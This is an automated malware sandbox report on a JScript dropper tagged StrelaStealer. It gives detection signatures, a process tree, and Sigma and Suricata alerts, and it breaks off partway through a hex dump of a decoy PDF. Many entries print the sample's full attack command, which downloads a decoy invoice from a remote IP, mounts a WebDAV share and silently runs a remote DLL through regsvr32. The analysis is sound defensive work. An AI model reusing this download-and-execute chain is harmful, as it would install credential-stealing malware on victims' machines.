Edit tour

Windows Analysis Report
20607103592010424982.js

Overview

General Information

Sample name:	20607103592010424982.js
Analysis ID:	1588876
MD5:	6b87f4571ca262881ddb7abc1b9da4a4
SHA1:	73432fdaea7b22fee4dd8b7772df739b5487fc55
SHA256:	8bfe6c6c99493ddb6538b010201313a7585aa1f9a6ea83b72a726ac486f0e259
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2056 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2084 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2008 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3104 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7184 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7360 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1596,i,4769099861608467819,11199554090265279533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2056 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6784 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7248 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2056	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2008, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2008, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ProcessId: 2056, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6784, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ProcessId: 2084, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ProcessId: 2084, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ProcessId: 2084, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ProcessId: 2084, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ProcessId: 2084, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ProcessId: 2056, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2008, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2056, ParentProcessName: wscript.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6784, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7248, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2056, ParentProcessName: wscript.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6784, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20607103592010424982.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll, ProcessId: 2084, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:37:11.377570+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49731	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:37:13.580310+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49732	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:37:11.377570+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 20607103592010424982.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 20607103592010424982.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49731 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49732 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6
